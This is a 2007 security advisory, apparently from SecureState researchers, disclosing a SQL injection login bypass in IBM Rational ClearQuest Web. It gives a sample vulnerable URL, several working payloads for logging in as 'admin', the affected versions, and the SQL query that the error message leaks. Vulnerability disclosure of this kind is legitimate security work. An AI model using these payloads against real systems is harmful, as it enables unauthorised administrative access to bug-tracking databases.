IBM Rational ClearQuest Web SQL Injection Login Bypass Aug 14 2007 05:53PM
swhite securestate com
+==============================================================+
+ IBM Rational ClearQuest Web Login Bypass (SQL Injection) +
+==============================================================+

DISCOVERED BY:
==============
SecureState
sasquatch - swhite (at) securestate (dot) com [email concealed]
rel1k - dkennedy (at) securestate (dot) com [email concealed]

HOMEPAGE:
=========
www.securestate.com

AFFECTED AREA:
===============
The username field on the login page is where the application is susceptible to SQL injection...

SAMPLE URL:
===========
http://SERVERNAMEHERE/cqweb/main?command=GenerateMainFrame&ratl_userdb=D
ATABASENAMEHERE,&test=&clientServerAddress=http://SERVERNAMEHERE/cqweb/l
ogin&username='INJECTIONGOESHERE&password=PASSWORDHERE&schema=SCHEMEAHER
E&userDb=DATABASENAMEHERE

Log in as "admin":
==================
' OR login_name LIKE '%admin%'--

(other variations work as well)
' OR login_name LIKE 'admin%'--
' OR LOWER(login_name) LIKE '%admin%'--
' OR LOWER(login_name) LIKE 'admin%'--
etc...use your imagination...

Confirmed against:
==================
version 7.0.0.1 Label BALTIC_PATCH.D0609.929
version 7.0.0.0-IFIX02 Label BALTIC_PATCH.D060630

FULL SQL Statement is spit back in error message:
=================================================
SELECT
master_users.master_dbid, master_users.login_name, master_users.encrypted_password,
master_users.email, master_users.fullname, master_users.phone, master_users.misc_info,
master_users.is_active, master_users.is_superuser, master_users.is_appbuilder,
master_users.is_user_maint, ratl_mastership, ratl_keysite, master_users.ratl_priv_mask
FROM
master_users
WHERE
login_name = 'INJECTION GOES HERE

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